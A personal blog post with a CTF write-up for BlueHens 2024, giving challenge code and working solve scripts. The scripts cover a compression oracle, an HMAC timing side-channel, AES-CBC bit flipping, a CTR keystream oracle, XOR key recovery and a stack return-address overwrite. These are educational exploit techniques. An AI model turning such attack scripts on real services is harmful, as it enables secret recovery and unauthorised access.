Home Posts Projects Tags RSS

CTF writeup: BlueHens 2024


Nov 10, 2024 - ctf udctf bluehens crypto

Last weekend I participated in BlueHens CTF as a SecFault member. We got 9th place out of almost 500 participating teams :)

Here’s a quick write-up on the challenges I was able to solve.

Just a day at the breach

import os
import json
import zlib

def lambda_handler(event, context):
    try:
        payload=bytes.fromhex(event["queryStringParameters"]["payload"])
        flag = os.environ["flag"].encode()
        message = b"Your payload is: %b\nThe flag is: %b" % (payload, flag)
        compressed_length = len(zlib.compress(message,9))
    except ValueError as e:
        return {'statusCode': 500, "error": str(e)}

    return {
        'statusCode': 200,
        'body': json.dumps({"sniffed": compressed_length})
    }

It’s a little more crypto than web, but I know the exploit from a web defcon talk ages > ago. This is a common web exploit for network sniffers.

-ProfNinja

https://55nlig2es7hyrhvzcxzboyp4xe0nzjrc.lambda-url.us-east-1.on.aws/?payload=00

There was indeed a talk at defcon I remember watching however it was more about VPN compression. OpenVPN used LZ4 and LZO which enabled some brute-force attacks.

The compression scheme used in those algorithms (LZSS) substitutes the previous occurances of the same bytes with a symbol reference which tells the decompressor how many bytes to copy from the past. It’s a very simplified explaination but once the attacker controls some part of the input compressed alongside the secret and has access to the compressed payload length, he can brute-force the secret byte by byte. The output length will not change (at least in theory) when the data added by attacker matches the secret. This is called Compression Oracle Attack.

I’m not gonna go into much detail, you can watch the talk and also try my LZSS demo I did for my university project to get better understanding of how this things work.

import requests
import time
import string

url = 'https://55nlig2es7hyrhvzcxzboyp4xe0nzjrc.lambda-url.us-east-1.on.aws/'
alpha = string.ascii_lowercase + string.digits + '_}'

flag = 'udctf{'
sz_last = 67  # length of compressed response
while True:
    for cchar in alpha:
        r = requests.get(url, params={'payload': (flag+cchar).encode('utf-8').hex()})
        print("status:", r.status_code)
        c = r.content
        print(flag+cchar)
        lc = int(r.json().get('sniffed'))
        print(lc)
        if (lc == sz_last):
            flag += cchar
            break
        time.sleep(0.1)

Oh Baby, A (Pythagorean) Triple!

def dotp(v1,v2):
    return sum([i*j for (i, j) in zip(v1, v2)])
def mxv(mat,vec):
    return [dotp(mat[0], vec), dotp(mat[1], vec), dotp(mat[2],vec)]

all={'A': [[1, -2, 2], [2, -1, 2], [2, -2, 3]],
 'B': [[1, 2, 2], [2, 1, 2], [2, 2, 3]],
 'C': [[-1, 2, 2], [-2, 1, 2], [-2, 2, 3]]}

import random
import hashlib
from Crypto.Cipher import AES
uni="ABC"
key=""
tmp=[3,4,5]
for _ in range(3000):
    ktmp = uni[random.randint(0,2)]
    key += ktmp
    tmp = mxv(all[ktmp],tmp)

assert(tmp[0]**2 + tmp[1]**2 == tmp[2]**2)
print(tmp)
flag = b"REDACTEDFLAG"
IV = b"0123456789abcdef"
cipher = AES.new(hashlib.sha256(key.encode()).digest(), AES.MODE_OFB, IV)
ct = cipher.encrypt(flag)
print(ct.hex())

I bet you never knew about the DNA of right triangles. Found it beautiful; wrote a problem.

-ProfNinja

https://gist.github.com/AndyNovo/747a027b87924e02202436668382630d

To decode the flag we need to know which matrices were used to multiply the original triangle at each step. I made inverted matrice dictionary (all_inv) and a function that checks if the correct inverse matrix was used (is_tr_valid).

import random
import hashlib
from Crypto.Cipher import AES

def dotp(v1, v2):
    return sum([i*j for (i, j) in zip(v1, v2)])

def mxv(mat, vec):
    return [dotp(mat[0], vec), dotp(mat[1], vec), dotp(mat[2], vec)]

def is_pyth(t):
    return (t[0]**2 + t[1]**2) == t[2]**2

def is_tr_valid(t):
    return t[0]>0 and t[1]>0 and t[2]>0

# Original matrices
all = {
    'A': [[1, -2, 2], [2, -1, 2], [2, -2, 3]],
    'B': [[1, 2, 2], [2, 1, 2], [2, 2, 3]],
    'C': [[-1, 2, 2], [-2, 1, 2], [-2, 2, 3]]
}

all_inv = {
    'A': [[1, 2, -2], [-2, -1, 2], [-2, -2, 3]],
    'B': [[1, 2, -2], [2, 1, -2], [-2, -2, 3]],
    'C': [[-1, -2, 2], [2, 1, -2], [-2, -2, 3]]
}
#print(all_inv)

def decrypt(tr):

    ciphertext = ""
    while tr != [3,4,5]:
        for l in 'ABC':
            new_tr = mxv(all_inv[l], tr)
            if is_tr_valid(new_tr):
                tr = new_tr
                ciphertext += l
                break
        #print(tr)
    ciphertext = ciphertext[::-1]

    return ciphertext

# paste here this long list
tmp =
key = decrypt(tmp)
print("decrypted:", key)

ct = bytes.fromhex('12fe177086c2a9a2716f231ec183a37e036229e1ef9f2df1d0de05f5f3332f8d296002b994099bca')
IV = b"0123456789abcdef"
cipher = AES.new(hashlib.sha256(key.encode()).digest(), AES.MODE_OFB, IV)
ct = cipher.decrypt(ct)
print(ct)

HMAC

There’s a secret message being HMAC-protected, but the implementation has a serious flaw. Can you recover the secret message using a side-channel attack?

import secrets
import hmac
import time

# Compare two byte arrays. Take variable time depending on how many bytes are equal.
def insecure_compare(a, b):
    if len(a) != len(b):
        return False
    for i in range(len(a)):
        if a[i] != b[i]:
            return False
        # Simulate time delay per byte comparison
        time.sleep(0.05)
    return True

# Simulate the timing attack by measuring the time it takes to compare bytes of the MAC.
def verify_hmac(user_hmac_hex):
    try:
        user_hmac = bytes.fromhex(user_hmac_hex)
    except ValueError:
        print("Invalid HMAC format. Please enter a hex string.")
        return False

    # Calculate the expected HMAC for the hidden flag message
    expected_hmac = hmac.new(key, flag, digestmod="sha1").digest()

    # Compare user-provided HMAC to the expected one with timing leak
    if insecure_compare(expected_hmac[:6], user_hmac[:6]):
        return True
    else:
        return False

flag = b"UDCTF{REDACTED}"
key = b"REDACTED"

def main():
    print("Can you recover the secret message using a side-channel attack?\n")
    s=input("Enter your McGuess (hex):\n>")
    answer = verify_hmac(s)
    print("Warning... this challenge might test your patience as well...")
    # Recover a valid tag
    if (answer):
        print("Here's the flag: %s" % (flag.decode()))
        exit()
    else:
        print("Nope.")
        exit()

if __name__ == "__main__":
    main()

We need to exploit the timing attack made possible by the time.sleep(0.05) in HMAC value comparison. If we get the correct byte the response in theory should be delayed by 50 ms.

In practice there were many variations due to network and server load so I had to use 16 samples to get the first byte (242) with high degree of confidence. Recovering later values I used less samples since the requests were taking more time with each compared byte. This reduced fluctuations.

The HMAC was recovered by analyzing how much time each byte comparison took.

from pwn import *
import time

context.log_level = 'error'
restable = {}
SAMPLES = 1

for j in range(SAMPLES):
    print('sleep', j)
    time.sleep(10)
    for i in range(256):
        i = (i+(j*32))%256
        conn = remote('0.cloud.chals.io', 11320)
        try:
            conn.recvuntil(b'>') 
        except:
            print('skipping', i)
            continue

        hm = bytes([242, 25, 40, 253, 70, i])
        hm += bytes(20-len(hm))
        old = time.time()
        conn.send(hm.hex().encode('utf-8')+b'\r\n')
        ans = conn.recv()
        print(i, ans)
        elap = time.time()-old
        #if elap > 0.15:
        #    print(i, elap)
        restable[i] = round(restable.get(i, 0) + elap, 4)
        conn.close()

#print(restable)
print(dict(sorted(restable.items(), key=lambda item: item[1])))

XS8: CBC Encrypted?

#endpoint: https://vbbfgwcc6dnuzlawkslmxvlni40zkayu.lambda-url.us-east-1.on.aws/

import json
import os
import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad


def lambda_handler(event, context):
    if ("queryStringParameters" in event) and ("token" in event["queryStringParameters"]):
        ct=bytes.fromhex(event["queryStringParameters"]["token"])
        iv=bytes.fromhex(event["queryStringParameters"]["iv"])
        cipher = AES.new(os.environ["secretkey"].encode(), AES.MODE_CBC, iv=iv)
        pt = cipher.decrypt(ct)
        flag = os.environ["flag"]

        try:
            token = json.loads(pt)
            if (token['role'] == 'admin'):
                return {
                    'statusCode': 200,
                    'body': json.dumps({"flag": flag})
                }
            else:
                return {
                    'statusCode': 401,
                    'body': json.dumps({"flag": "unauthorized"})
                }

        except ValueError as e:
            return {'statusCode': 401, "error": str(e)}
    else:
        iv = os.urandom(16)
        cipher = AES.new(os.environ["secretkey"].encode(), AES.MODE_CBC, iv=iv)
        pt=b'{"role":"guest","username":"johndoe","id":"123"}'
        ct = cipher.encrypt(pt)
        return {
            'statusCode': 200,
            'body': json.dumps({"token": ct.hex(), "iv": iv.hex()})
        }

Classic bit flipping attack on the first block of AES CBC. I used the XOR method from ctfrecipes to obtain the IV.

import requests

# iv = xor(iv, b'{"role":"guest",', b'{"role":"admin",')
iv = b'\x18,\xfc\xdcq\x9f\x00\xa2\x90\xf0\xf3\xe1\xbfV/\x80'
token = bytes.fromhex('1555f2d23ea81da4e1b735a97f79d67f579a525290e71aa183a92aa7e00fbbc305b94e1e63c342278001ffcaf0344d7a')

url = 'https://vbbfgwcc6dnuzlawkslmxvlni40zkayu.lambda-url.us-east-1.on.aws/'
r = requests.get(url, params={'token': token.hex(), 'iv': iv.hex()})
#r = requests.get(url)
print(r.content, r.status_code)
print(r.json())

XS6: CTR Mode is just XOR

#LIVE AT https://i8fgyps3o2.execute-api.us-east-1.amazonaws.com/default/ctrmode?pt=00

import json
import os
import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad


def lambda_handler(event, context):
    pt=bytes.fromhex(event["queryStringParameters"]["pt"])
    padded = pad(pt, 16)

    probiv = os.environ["probiv"]
    flag = os.environ["flag"]
    padflag = pad(flag.encode(), 16)
    flagcipher = AES.new(os.environ["secretkey"].encode(), AES.MODE_CTR, nonce=probiv.encode())
    pct = flagcipher.encrypt(padflag)

    yourcipher = AES.new(os.environ["secretkey"].encode(), AES.MODE_ECB)
    try:
        encrypted = yourcipher.encrypt(padded)
    except ValueError as e:
        return {'statusCode': 500, "error": str(e)}

    return {
        'statusCode': 200,
        'body': json.dumps({"ciphertext": encrypted.hex(), "probiv": probiv.encode().hex(), "flagenc": pct.hex()})
    }

Here the server encrypts our payload in ECB mode with the same key, used for encrypting the flag. We also get the IV in response json.

CTR mode works by XORing the keystream with plaintext so a bit like a stream cipher. In AES-CTR the keystream is produced by concatenating blocks of encrypted IV and Counter (AES-ECB(iv+counter)). You can read more about it here.

We can ask the server to create the keystream. Here only 1 byte is used as a counter, the remaining 15 bytes are the IV.

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import json
import requests

def create_counter_block(iv, counter):
    # increment last byte
    return iv + bytes([counter])

def solve(url, iv_hex, flagenc_hex):
    iv = bytes.fromhex(iv_hex)
    flagenc = bytes.fromhex(flagenc_hex)
    
    num_blocks = (len(flagenc) + 15) // 16
    
    keystream = b''
    for i in range(num_blocks):
        counter_block = create_counter_block(iv, i)
        print(f"counter at {i}:", counter_block)
        
        response = requests.get(f"{url}?pt={counter_block.hex()}")
        #print(response.status_code)
        result = response.json()
        
        print(f'block {i}:', result['ciphertext'])
        # only take 16 bytes, rest is padding
        keystream += bytes.fromhex(result['ciphertext'])[:16]
    
    print(keystream)
    
    flag = b''
    for i in range(len(flagenc)):
        flag += bytes([flagenc[i] ^ keystream[i]])
    print(flag)

url = "https://i8fgyps3o2.execute-api.us-east-1.amazonaws.com/default/ctrmode"
response = requests.get(f"{url}?pt=00")
print(response.status_code, response.content)
result = response.json()

solve(url, result['probiv'], result['flagenc'])

XS2: Looper

11010210041e125508065109073a11563b1d51163d16060e54550d19

We got this mysterious string and nothing else. Judging by the name of the challenge, the bytestring will be XORed with some repeating key (in a loop).

>>> from pwn import xor
>>> data = bytes.fromhex('11010210041e125508065109073a11563b1d51163d16060e54550d19')
>>> xor(data, b'udctf{')
b'deadbeg1kr7rr^r"]f$r^b`u!1nm'

Looking at the first 6 characters, the key could be: deadbeef.

>>> xor(data, b'deadbeef')
b'udctf{w3lc0me_t0_x0r_sch00l}'

XS3: Roman Xor

from pwn import *
import os
f=open("poems.txt","r")
lngstr=f.read()
f.close()
lines = lngstr.split("\n")
lines = list(filter(lambda x: len(x) > 30, lines))
import random
winners = [random.choice(lines) for _ in range(10)]
def simple(ltr):
    return ltr.isalpha() or ltr == " "

pts = ["".join(filter(simple, x)).strip().lower() for x in winners] + ["udctf{placeholder_flag_here}"]
key = os.urandom(100)
cts = [xor(x.encode(),key[:len(x)]).hex() for x in pts]
print(cts)

d = [
  '43794c9c8faa2cff24edc8afe507a13f62837c7e166f428cab5aff893225ff19104bc8754c1c09', 
  '5d315e8786e62cf763e9d4afe80ca13b649a717e11615986b642f3952f76b71b0342c4', 
  '46785a8bcae62aeb60a5deeef107a1256ed7792752695886ff50f5886171ff1717', 
  '5d315e819fe621b966e08dfae906e43a78837b31162e5e8cff46e8953275f20a0d5ad23d4712144c', 
  '557f4dce9ee220b967e4dfffe616e9216a9934291b7d5690bb45ba922e6afc', 
  '55315a868fef35f16beac6afe810a1206a81717e1e6b5690b152ba953462ff0c424acd6e0307055a81b93590c1fe', 
  '557d489dcafd2df870a5cfe0e816f268628334291b7a5fc2aa58f99f3276f616160fc27c5116', 
  '557f4dce8bee21fc24f1c5eaa712ee3f6e853431142e448db216fb9e2b70e5110c48816b46011e5a', 
  '407e099783ef29fd24edc4fca704f33d6283343f1c6a178ab645ba962464f1581147c0714f530350d5f53690dee6', 
  '40785ace93e530b970edccfba711e0312b9e607e1c6143c2b616e3953425f317425bc9780317085ac5a6', 
  '41754a9a8cf13da976dac4e1d810b1253f994b6f47514387b106e8a57175a40a0370d22c4d14084d9ea8'
 ]

To recover the 100 byte random key, we can first XOR the last bytestring with the known plaintext: udctf{.

>>> from pwn import xor
>>> xor(bytes.fromhex(d[-1]), b'udctf{')[:6]
b'4\x11)\xee\xea\x8a'

Then we use this first 6 bytes of the key to uncover the strings since the same key was used for all of them.

>>> for i in d: xor(bytes.fromhex(i), b'4\x11)\xee\xea\x8a'+bytes(100))
... 
b'where ,\xff$\xed\xc8\xaf\xe5\x07\xa1?b\x83|~\x16oB\x8c\xabZ\xff\x892%\xff\x19\x10K\xc8uL\x1c\tCyL\x9c\x8f\xaa,\xff$\xed\xc8\xaf\xe5\x07\xa1?b\x83|~\x16oB\x8c\xabZ\xff\x892%\xff\x19\x10K\xc8uL\x1c\tCyL\x9c\x8f\xaa,\xff$\xed\xc8\xaf\xe5\x07\xa1?b\x83|~\x16oB\x8c\xabZ\xff\x89'
b'i will,\xf7c\xe9\xd4\xaf\xe8\x0c\xa1;d\x9aq~\x11aY\x86\xb6B\xf3\x95/v\xb7\x1b\x03B\xc4]1^\x87\x86\xe6,\xf7c\xe9\xd4\xaf\xe8\x0c\xa1;d\x9aq~\x11aY\x86\xb6B\xf3\x95/v\xb7\x1b\x03B\xc4]1^\x87\x86\xe6,\xf7c\xe9\xd4\xaf\xe8\x0c\xa1;d\x9aq~\x11aY\x86\xb6B\xf3\x95/v\xb7\x1b\x03B\xc4]'
b"rise l*\xeb`\xa5\xde\xee\xf1\x07\xa1%n\xd7y'RiX\x86\xffP\xf5\x88aq\xff\x17\x17FxZ\x8b\xca\xe6*\xeb`\xa5\xde\xee\xf1\x07\xa1%n\xd7y'RiX\x86\xffP\xf5\x88aq\xff\x17\x17FxZ\x8b\xca\xe6*\xeb`\xa5\xde\xee\xf1\x07\xa1%n\xd7y'RiX\x86\xffP\xf5\x88aq\xff\x17\x17FxZ\x8b\xca\xe6*"
b'i woul!\xb9f\xe0\x8d\xfa\xe9\x06\xe4:x\x83{1\x16.^\x8c\xffF\xe8\x952u\xf2\n\rZ\xd2=G\x12\x14L]1^\x81\x9f\xe6!\xb9f\xe0\x8d\xfa\xe9\x06\xe4:x\x83{1\x16.^\x8c\xffF\xe8\x952u\xf2\n\rZ\xd2=G\x12\x14L]1^\x81\x9f\xe6!\xb9f\xe0\x8d\xfa\xe9\x06\xe4:x\x83{1\x16.^\x8c\xffF'
b'and th \xb9g\xe4\xdf\xff\xe6\x16\xe9!j\x994)\x1b}V\x90\xbbE\xba\x92.j\xfcU\x7fM\xce\x9e\xe2 \xb9g\xe4\xdf\xff\xe6\x16\xe9!j\x994)\x1b}V\x90\xbbE\xba\x92.j\xfcU\x7fM\xce\x9e\xe2 \xb9g\xe4\xdf\xff\xe6\x16\xe9!j\x994)\x1b}V\x90\xbbE\xba\x92.j\xfcU\x7fM\xce\x9e\xe2 \xb9g\xe4\xdf\xff\xe6'
b'a shee5\xf1k\xea\xc6\xaf\xe8\x10\xa1 j\x81q~\x1ekV\x90\xb1R\xba\x954b\xff\x0cBJ\xcdn\x03\x07\x05Z\x81\xb95\x90\xc1\xfeU1Z\x86\x8f\xef5\xf1k\xea\xc6\xaf\xe8\x10\xa1 j\x81q~\x1ekV\x90\xb1R\xba\x954b\xff\x0cBJ\xcdn\x03\x07\x05Z\x81\xb95\x90\xc1\xfeU1Z\x86\x8f\xef5\xf1k\xea\xc6\xaf\xe8\x10'
b'alas w-\xf8p\xa5\xcf\xe0\xe8\x16\xf2hb\x834)\x1bz_\xc2\xaaX\xf9\x9f2v\xf6\x16\x16\x0f\xc2|Q\x16U}H\x9d\xca\xfd-\xf8p\xa5\xcf\xe0\xe8\x16\xf2hb\x834)\x1bz_\xc2\xaaX\xf9\x9f2v\xf6\x16\x16\x0f\xc2|Q\x16U}H\x9d\xca\xfd-\xf8p\xa5\xcf\xe0\xe8\x16\xf2hb\x834)\x1bz_\xc2\xaaX\xf9\x9f2v'
b'and ad!\xfc$\xf1\xc5\xea\xa7\x12\xee?n\x8541\x14.D\x8d\xb2\x16\xfb\x9e+p\xe5\x11\x0cH\x81kF\x01\x1eZU\x7fM\xce\x8b\xee!\xfc$\xf1\xc5\xea\xa7\x12\xee?n\x8541\x14.D\x8d\xb2\x16\xfb\x9e+p\xe5\x11\x0cH\x81kF\x01\x1eZU\x7fM\xce\x8b\xee!\xfc$\xf1\xc5\xea\xa7\x12\xee?n\x8541\x14.D\x8d\xb2\x16'
b'to yie)\xfd$\xed\xc4\xfc\xa7\x04\xf3=b\x834?\x1cj\x17\x8a\xb6E\xba\x96$d\xf1X\x11G\xc0qOS\x03P\xd5\xf56\x90\xde\xe6@~\t\x97\x83\xef)\xfd$\xed\xc4\xfc\xa7\x04\xf3=b\x834?\x1cj\x17\x8a\xb6E\xba\x96$d\xf1X\x11G\xc0qOS\x03P\xd5\xf56\x90\xde\xe6@~\t\x97\x83\xef)\xfd$\xed\xc4\xfc\xa7\x04'
b'tis yo0\xb9p\xed\xcc\xfb\xa7\x11\xe01+\x9e`~\x1caC\xc2\xb6\x16\xe3\x954%\xf3\x17B[\xc9x\x03\x17\x08Z\xc5\xa6@xZ\xce\x93\xe50\xb9p\xed\xcc\xfb\xa7\x11\xe01+\x9e`~\x1caC\xc2\xb6\x16\xe3\x954%\xf3\x17B[\xc9x\x03\x17\x08Z\xc5\xa6@xZ\xce\x93\xe50\xb9p\xed\xcc\xfb\xa7\x11\xe01+\x9e`~\x1ca'
b'udctf{=\xa9v\xda\xc4\xe1\xd8\x10\xb1%?\x99KoGQC\x87\xb1\x06\xe8\xa5qu\xa4\n\x03p\xd2,M\x14\x08M\x9e\xa8AuJ\x9a\x8c\xf1=\xa9v\xda\xc4\xe1\xd8\x10\xb1%?\x99KoGQC\x87\xb1\x06\xe8\xa5qu\xa4\n\x03p\xd2,M\x14\x08M\x9e\xa8AuJ\x9a\x8c\xf1=\xa9v\xda\xc4\xe1\xd8\x10\xb1%?\x99KoGQ'

To uncover next byte, we can XOR ) with l (to get the word yield in the 9th quote) since it’s the most probable character here. This gives E which is probably the next byte of the key.

>>> for i in d: xor(bytes.fromhex(i), b'4\x11)\xee\xea\x8aE'+bytes(100))
... 
b'where i\xff$\xed\xc8\xaf\xe5\x07\xa1?b\x83|~\x16oB\x8c\xabZ\xff\x892%\xff\x19\x10K\xc8uL\x1c\tCyL\x9c\x8f\xaa,\xff$\xed\xc8\xaf\xe5\x07\xa1?b\x83|~\x16oB\x8c\xabZ\xff\x892%\xff\x19\x10K\xc8uL\x1c\tCyL\x9c\x8f\xaa,\xff$\xed\xc8\xaf\xe5\x07\xa1?b\x83|~\x16oB\x8c\xabZ\xff\x892'
b'i willi\xf7c\xe9\xd4\xaf\xe8\x0c\xa1;d\x9aq~\x11aY\x86\xb6B\xf3\x95/v\xb7\x1b\x03B\xc4]1^\x87\x86\xe6,\xf7c\xe9\xd4\xaf\xe8\x0c\xa1;d\x9aq~\x11aY\x86\xb6B\xf3\x95/v\xb7\x1b\x03B\xc4]1^\x87\x86\xe6,\xf7c\xe9\xd4\xaf\xe8\x0c\xa1;d\x9aq~\x11aY\x86\xb6B\xf3\x95/v\xb7\x1b\x03B\xc4]1'
b"rise lo\xeb`\xa5\xde\xee\xf1\x07\xa1%n\xd7y'RiX\x86\xffP\xf5\x88aq\xff\x17\x17FxZ\x8b\xca\xe6*\xeb`\xa5\xde\xee\xf1\x07\xa1%n\xd7y'RiX\x86\xffP\xf5\x88aq\xff\x17\x17FxZ\x8b\xca\xe6*\xeb`\xa5\xde\xee\xf1\x07\xa1%n\xd7y'RiX\x86\xffP\xf5\x88aq\xff\x17\x17FxZ\x8b\xca\xe6*\xeb"
b'i would\xb9f\xe0\x8d\xfa\xe9\x06\xe4:x\x83{1\x16.^\x8c\xffF\xe8\x952u\xf2\n\rZ\xd2=G\x12\x14L]1^\x81\x9f\xe6!\xb9f\xe0\x8d\xfa\xe9\x06\xe4:x\x83{1\x16.^\x8c\xffF\xe8\x952u\xf2\n\rZ\xd2=G\x12\x14L]1^\x81\x9f\xe6!\xb9f\xe0\x8d\xfa\xe9\x06\xe4:x\x83{1\x16.^\x8c\xffF\xe8'
b'and the\xb9g\xe4\xdf\xff\xe6\x16\xe9!j\x994)\x1b}V\x90\xbbE\xba\x92.j\xfcU\x7fM\xce\x9e\xe2 \xb9g\xe4\xdf\xff\xe6\x16\xe9!j\x994)\x1b}V\x90\xbbE\xba\x92.j\xfcU\x7fM\xce\x9e\xe2 \xb9g\xe4\xdf\xff\xe6\x16\xe9!j\x994)\x1b}V\x90\xbbE\xba\x92.j\xfcU\x7fM\xce\x9e\xe2 \xb9g\xe4\xdf\xff\xe6\x16'
b'a sheep\xf1k\xea\xc6\xaf\xe8\x10\xa1 j\x81q~\x1ekV\x90\xb1R\xba\x954b\xff\x0cBJ\xcdn\x03\x07\x05Z\x81\xb95\x90\xc1\xfeU1Z\x86\x8f\xef5\xf1k\xea\xc6\xaf\xe8\x10\xa1 j\x81q~\x1ekV\x90\xb1R\xba\x954b\xff\x0cBJ\xcdn\x03\x07\x05Z\x81\xb95\x90\xc1\xfeU1Z\x86\x8f\xef5\xf1k\xea\xc6\xaf\xe8\x10\xa1'
b'alas wh\xf8p\xa5\xcf\xe0\xe8\x16\xf2hb\x834)\x1bz_\xc2\xaaX\xf9\x9f2v\xf6\x16\x16\x0f\xc2|Q\x16U}H\x9d\xca\xfd-\xf8p\xa5\xcf\xe0\xe8\x16\xf2hb\x834)\x1bz_\xc2\xaaX\xf9\x9f2v\xf6\x16\x16\x0f\xc2|Q\x16U}H\x9d\xca\xfd-\xf8p\xa5\xcf\xe0\xe8\x16\xf2hb\x834)\x1bz_\xc2\xaaX\xf9\x9f2v\xf6'
b'and add\xfc$\xf1\xc5\xea\xa7\x12\xee?n\x8541\x14.D\x8d\xb2\x16\xfb\x9e+p\xe5\x11\x0cH\x81kF\x01\x1eZU\x7fM\xce\x8b\xee!\xfc$\xf1\xc5\xea\xa7\x12\xee?n\x8541\x14.D\x8d\xb2\x16\xfb\x9e+p\xe5\x11\x0cH\x81kF\x01\x1eZU\x7fM\xce\x8b\xee!\xfc$\xf1\xc5\xea\xa7\x12\xee?n\x8541\x14.D\x8d\xb2\x16\xfb'
b'to yiel\xfd$\xed\xc4\xfc\xa7\x04\xf3=b\x834?\x1cj\x17\x8a\xb6E\xba\x96$d\xf1X\x11G\xc0qOS\x03P\xd5\xf56\x90\xde\xe6@~\t\x97\x83\xef)\xfd$\xed\xc4\xfc\xa7\x04\xf3=b\x834?\x1cj\x17\x8a\xb6E\xba\x96$d\xf1X\x11G\xc0qOS\x03P\xd5\xf56\x90\xde\xe6@~\t\x97\x83\xef)\xfd$\xed\xc4\xfc\xa7\x04\xf3'
b'tis you\xb9p\xed\xcc\xfb\xa7\x11\xe01+\x9e`~\x1caC\xc2\xb6\x16\xe3\x954%\xf3\x17B[\xc9x\x03\x17\x08Z\xc5\xa6@xZ\xce\x93\xe50\xb9p\xed\xcc\xfb\xa7\x11\xe01+\x9e`~\x1caC\xc2\xb6\x16\xe3\x954%\xf3\x17B[\xc9x\x03\x17\x08Z\xc5\xa6@xZ\xce\x93\xe50\xb9p\xed\xcc\xfb\xa7\x11\xe01+\x9e`~\x1caC'
b'udctf{x\xa9v\xda\xc4\xe1\xd8\x10\xb1%?\x99KoGQC\x87\xb1\x06\xe8\xa5qu\xa4\n\x03p\xd2,M\x14\x08M\x9e\xa8AuJ\x9a\x8c\xf1=\xa9v\xda\xc4\xe1\xd8\x10\xb1%?\x99KoGQC\x87\xb1\x06\xe8\xa5qu\xa4\n\x03p\xd2,M\x14\x08M\x9e\xa8AuJ\x9a\x8c\xf1=\xa9v\xda\xc4\xe1\xd8\x10\xb1%?\x99KoGQC'

With some knowledge of english, the key can be recovered and the flag decrypted byte by byte.

XS4: Hexy

In [1]: xor(flag + key + hashlib.sha256(flag).hexdigest().encode(), key).hex()
Out[1]: '1a0c43191f5b15485d5a31574e4333141a5d073a0840541f560b515324001d00000c5315000e0a4e0452111618060654080154414b09165147791f1941041b07115816454b060b5e5a20094d135e101516425506420145544c18570d11541a4255125a5a5e5212470f050b5b425d1b434409034c5a19615c46465a424b151906041852415648415b5a44'

The flag is XORed with itself but shifted by some offset. At the end we have 64 hexadecimal characters of sha256(flag).

We can figure out how long is the flag+key bytestring. The total length of ciphertext is 138 bytes so it will be 138 - 64 = 74 bytes.

+------+-------------------+-------------------+
| flag |        key        | hex(sha256(flag)) |
+------+-------------------+-------------------+
0      ?                   74                138

+-----------------------+-------------------+
|          key          | hex(sha256(flag)) |
+-----------------------+-------------------+
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
--------------+-----------------------+------
 key          |          key          |   key
--------------+-----------------------+------

We know the first 6 bytes of the plaintext so when XORing it with ciphertext we should get first 6 bytes of the key.

key[0:6] = ciphertext[0:6] ^ "udctf{" = "oh my "

To figure out how long the key is, we need to look for the hex pattern in the last 64 bytes of the message. The key needs to repeat itself since it’s fully contained within the plaintext.

>>> ciphertext
b'\x1a\x0cC\x19\x1f[\x15H]Z1WNC3\x14\x1a]\x07:\x08@T\x1fV\x0bQS$\x00\x1d\x00\x00\x0cS\x15\x00\x0e\nN\x04R\x11\x16\x18\x06\x06T\x08\x01TAK\t\x16QGy\x1f\x19A\x04\x1b\x07\x11X\x16EK\x06\x0b^Z \tM\x13^\x10\x15\x16BU\x06B\x01ETL\x18W\r\x11T\x1aBU\x12ZZ^R\x12G\x0f\x05\x0b[B]\x1bCD\t\x03LZ\x19a\\FFZBK\x15\x19\x06\x04\x18RAVHA[ZD'
>>> xor(ciphertext[90:], b'oh my ')
b"8e19cb:zz7'r}//hr{-5;.=)l$zt\x18|).z/25vn$u+a9 a6#d"

After checking and XORing different offsets, I got some hex at offset 90 so we can assume the key is 45 byte long. This would mean the flag has 74 - 45 = 29 bytes which is reasonable.

Now since we know the key in the plaintext starts at 29 so at this offset we have oh my in our plaintext, we can just XOR it with the ciphertext to get 6 bytes at offset 29 of the key. We can then repeat this process to recover more bytes of the key.

+----------+
| key[29:] |-------\
+----------+       |
                   ^
+-----------------+---------
|      flag       | key[:6] 
+-----------------+---------

key[0:6] = ciphertext[0:6] ^ "udctf{" = "oh my "
key[29:35] = key[0:6] ^ ciphertext[29:35] = "ou mus"
key[58%len(key):+6] = key[15:21] = key[29:35] ^ ciphertext[58:64] = "plaint"
key[15:25] = "plaintext "
key[35:39] = "t be"
...

Repeating the steps above and with a bit of guess work, I was able to extract the key: oh my a long plaintext key? You must be crazy.

Key XORed with the ciphertext gives the flag: udctf{th15_0n3_us3s_p4tt3rns}oh my a long plaintext key? You must be crazyf833efbb7cbb756a8e19cb42650527cdb568c7dbf5e9833f778a9da81372842d

Pure Write-What-Where PWN

Here’s a vuln function decompiled by Ghidra. It’s called directly from main.

void vuln(void)
{
  long in_FS_OFFSET;
  undefined2 val;
  int idx;
  undefined2 buf [52];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  idx = 0;
  val = 0;
  puts("Welcome to PWN 102, Write-What-Where:\n");
  __isoc99_scanf(&DAT_00102037,&idx);
  __isoc99_scanf(&DAT_0010203a,&val);
  buf[idx] = val;
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

The program allows to overwrite the return address past the stack with a user provided 2 byte value. The address of win function in the pwnme binary is 0x55555555533d. Since it’s near our main function, it’s enough to just replace the last 2 bytes of the address.

(gdb) p *win
$1 = {<text variable, no debug info>} 0x55555555533d <win>
(gdb) p *main
$2 = {<text variable, no debug info>} 0x5555555551c9 <main>

After some trial and error I found offset 60 to store the lower portion of return address. We can overwrite it with 0x533d to get the flag.

Note: due to ASLR this doesn’t always work so there’s a while loop in the exploit script

from pwn import *

context.log_level = "error"

while True:
    try:
        p = remote("0.cloud.chals.io", 16612)
        p.sendline(b'60')
        p.sendline(str(0x533d+8).encode())
        p.sendline(b"cat flag.txt")
        p.readline()
        p.readline()
        flag = p.readline()
        if flag.startswith(b'udctf{'):
            print(flag)
            break
    except:
        pass